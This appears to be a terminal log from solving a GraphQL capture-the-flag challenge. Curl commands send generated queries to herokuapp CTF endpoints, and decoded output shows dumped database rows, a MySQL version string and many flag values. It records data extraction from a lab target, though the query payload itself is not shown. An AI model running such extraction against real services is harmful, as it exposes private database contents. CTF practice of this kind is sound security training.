ruby generate_gql_mysql.rb \
&& time curl -X POST -H "Content-Type: application/json" -d @query.json https://gql-ctf-2.herokuapp.com/graphql.json > response.json \
&& ruby decode.rb
ruby generate_gql_postgresql.rb \
&& time curl -X POST -H "Content-Type: application/json" -d @query.json https://gql-ctf.herokuapp.com/graphql.json > response.json \
&& ruby decode.rb
total gql line count: 2868
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 872k 0 66305 100 807k 1632 20371 0:00:40 0:00:40 --:--:-- 0
curl -X POST -H "Content-Type: application/json" -d @query.json > 0.02s user 0.03s system 0% cpu 40.730 total
raw_decoded_str length: 1433
ascii_decoded_str length: 1363
raw_decoded_str:
26 | SECRET = '{flag-kJSt"~7^v?hiKu'NuYdp)7aIr]e[R>[<i7_&~?OyaUhE$Ov+m|}' | {flag-kJSt"~7^v?hiKu'NuYdp)7aIr]e[R>[<i7_&~?OyaUhE$Ov+m|} | 1 | 2020-04-14 20:20:56.819845 | 2020-04-14 20:20:56.819845
85 | SECRET = '{flag-Eq+\>2"n9q3gb,zBLJubIu@-)9oIRH|3;~:ca8.lKtBKy@_<dZ}' | {flag-Eq+\>2"n9q3gb,zBLJubIu@-)9oIRH|3;~:ca8.lKtBKy@_<dZ} | 1 | 2020-04-14 20:37:28.966901 | 2020-04-14 20:37:28.966901
128 | SECRET = '{flag-67<_it$+ZQ9wRPj~p8ocy->8^4UA!B:{(!Ro2LC0ta#/!~we,y}' | {flag-67<_it$+ZQ9wRPj~p8ocy->8^4UA!B:{(!Ro2LC0ta#/!~we,y} | 1 | 2020-04-15 11:53:00.609017 | 2020-04-15 11:53:00.609017
151 | SECRET = '{flag-[N:qm%WPQ]|9rF6Vliv#4Jn<{^Yq;\|GIGKmpTRqLTKX2z'P.g}' | {flag-[N:qm%WPQ]|9rF6Vliv#4Jn<{^Yq;\|GIGKmpTRqLTKX2z'P.g} | 1 | 2020-04-15 11:54:29.085865 | 2020-04-15 11:54:29.085865���������������
5.7.23-log���������������
{flag-kJSt"~7^v?hiKu'NuYdp)7aIr]e[R>[<i7_&~?OyaUhE$Ov+m|}
{flag-Eq+\>2"n9q3gb,zBLJubIu@-)9oIRH|3;~:ca8.lKtBKy@_<dZ}
{flag-67<_it$+ZQ9wRPj~p8ocy->8^4UA!B:{(!Ro2LC0ta#/!~we,y}
{flag-[N:qm%WPQ]|9rF6Vliv#4Jn<{^Yq;\|GIGKmpTRqLTKX2z'P.g}�������������������
1 | Title-61aaf90b | Body-e8103505 | 0 | 2020-04-14 20:20:56.582240 | 2020-04-14 20:20:56.582240����
flag_301ff0f8093fa9dcecbd08
flag_3b7f16bbb9e6210a893170005660d0843b9d
flag_77794b13cec7450861c990
flag_7905a6bd28e043ecc3b012257f
flag_89e7401c2c42b77981b5d5eb4161d46db5fb57
flag_abbd1636b722e4e14218
flag_f118f0feb4b79850053db5211f43�����������������
ascii_decoded_str:
26 | SECRET = '{flag-kJSt"~7^v?hiKu'NuYdp)7aIr]e[R>[<i7_&~?OyaUhE$Ov+m|}' | {flag-kJSt"~7^v?hiKu'NuYdp)7aIr]e[R>[<i7_&~?OyaUhE$Ov+m|} | 1 | 2020-04-14 20:20:56.819845 | 2020-04-14 20:20:56.819845
85 | SECRET = '{flag-Eq+\>2"n9q3gb,zBLJubIu@-)9oIRH|3;~:ca8.lKtBKy@_<dZ}' | {flag-Eq+\>2"n9q3gb,zBLJubIu@-)9oIRH|3;~:ca8.lKtBKy@_<dZ} | 1 | 2020-04-14 20:37:28.966901 | 2020-04-14 20:37:28.966901
128 | SECRET = '{flag-67<_it$+ZQ9wRPj~p8ocy->8^4UA!B:{(!Ro2LC0ta#/!~we,y}' | {flag-67<_it$+ZQ9wRPj~p8ocy->8^4UA!B:{(!Ro2LC0ta#/!~we,y} | 1 | 2020-04-15 11:53:00.609017 | 2020-04-15 11:53:00.609017
151 | SECRET = '{flag-[N:qm%WPQ]|9rF6Vliv#4Jn<{^Yq;\|GIGKmpTRqLTKX2z'P.g}' | {flag-[N:qm%WPQ]|9rF6Vliv#4Jn<{^Yq;\|GIGKmpTRqLTKX2z'P.g} | 1 | 2020-04-15 11:54:29.085865 | 2020-04-15 11:54:29.085865
5.7.23-log
{flag-kJSt"~7^v?hiKu'NuYdp)7aIr]e[R>[<i7_&~?OyaUhE$Ov+m|}
{flag-Eq+\>2"n9q3gb,zBLJubIu@-)9oIRH|3;~:ca8.lKtBKy@_<dZ}
{flag-67<_it$+ZQ9wRPj~p8ocy->8^4UA!B:{(!Ro2LC0ta#/!~we,y}
{flag-[N:qm%WPQ]|9rF6Vliv#4Jn<{^Yq;\|GIGKmpTRqLTKX2z'P.g}
1 | Title-61aaf90b | Body-e8103505 | 0 | 2020-04-14 20:20:56.582240 | 2020-04-14 20:20:56.582240
flag_301ff0f8093fa9dcecbd08
flag_3b7f16bbb9e6210a893170005660d0843b9d
flag_77794b13cec7450861c990
flag_7905a6bd28e043ecc3b012257f
flag_89e7401c2c42b77981b5d5eb4161d46db5fb57
flag_abbd1636b722e4e14218
flag_f118f0feb4b79850053db5211f43